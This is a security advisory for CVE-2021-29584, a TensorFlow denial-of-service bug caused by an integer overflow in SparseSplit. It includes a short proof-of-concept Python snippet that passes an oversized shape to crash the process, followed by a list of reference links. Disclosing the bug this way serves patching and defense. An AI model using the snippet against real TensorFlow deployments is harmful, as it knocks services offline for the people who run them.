CVE-2021-29584: CHECK-fail due to integer overflow
(updated )
An attacker can trigger a denial of service via a CHECK
-fail in caused by an integer overflow in constructing a new tensor shape:
import tensorflow as tf
input_layer = 2**60-1
sparse_data = tf.raw_ops.SparseSplit(
split_dim=1,
indices=[(0, 0), (0, 1), (0, 2),
(4, 3), (5, 0), (5, 1)],
values=[1.0, 1.0, 1.0, 1.0, 1.0, 1.0],
shape=(input_layer, input_layer),
num_split=2,
name=None
)
References
- github.com/advisories/GHSA-xvjm-fvxx-q3hv
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-512.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-710.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-221.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/4c0ee937c0f61c4fc5f5d32d9bb4c67428012a60
- github.com/tensorflow/tensorflow/security/advisories/GHSA-xvjm-fvxx-q3hv
- nvd.nist.gov/vuln/detail/CVE-2021-29584
Detect and mitigate CVE-2021-29584 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →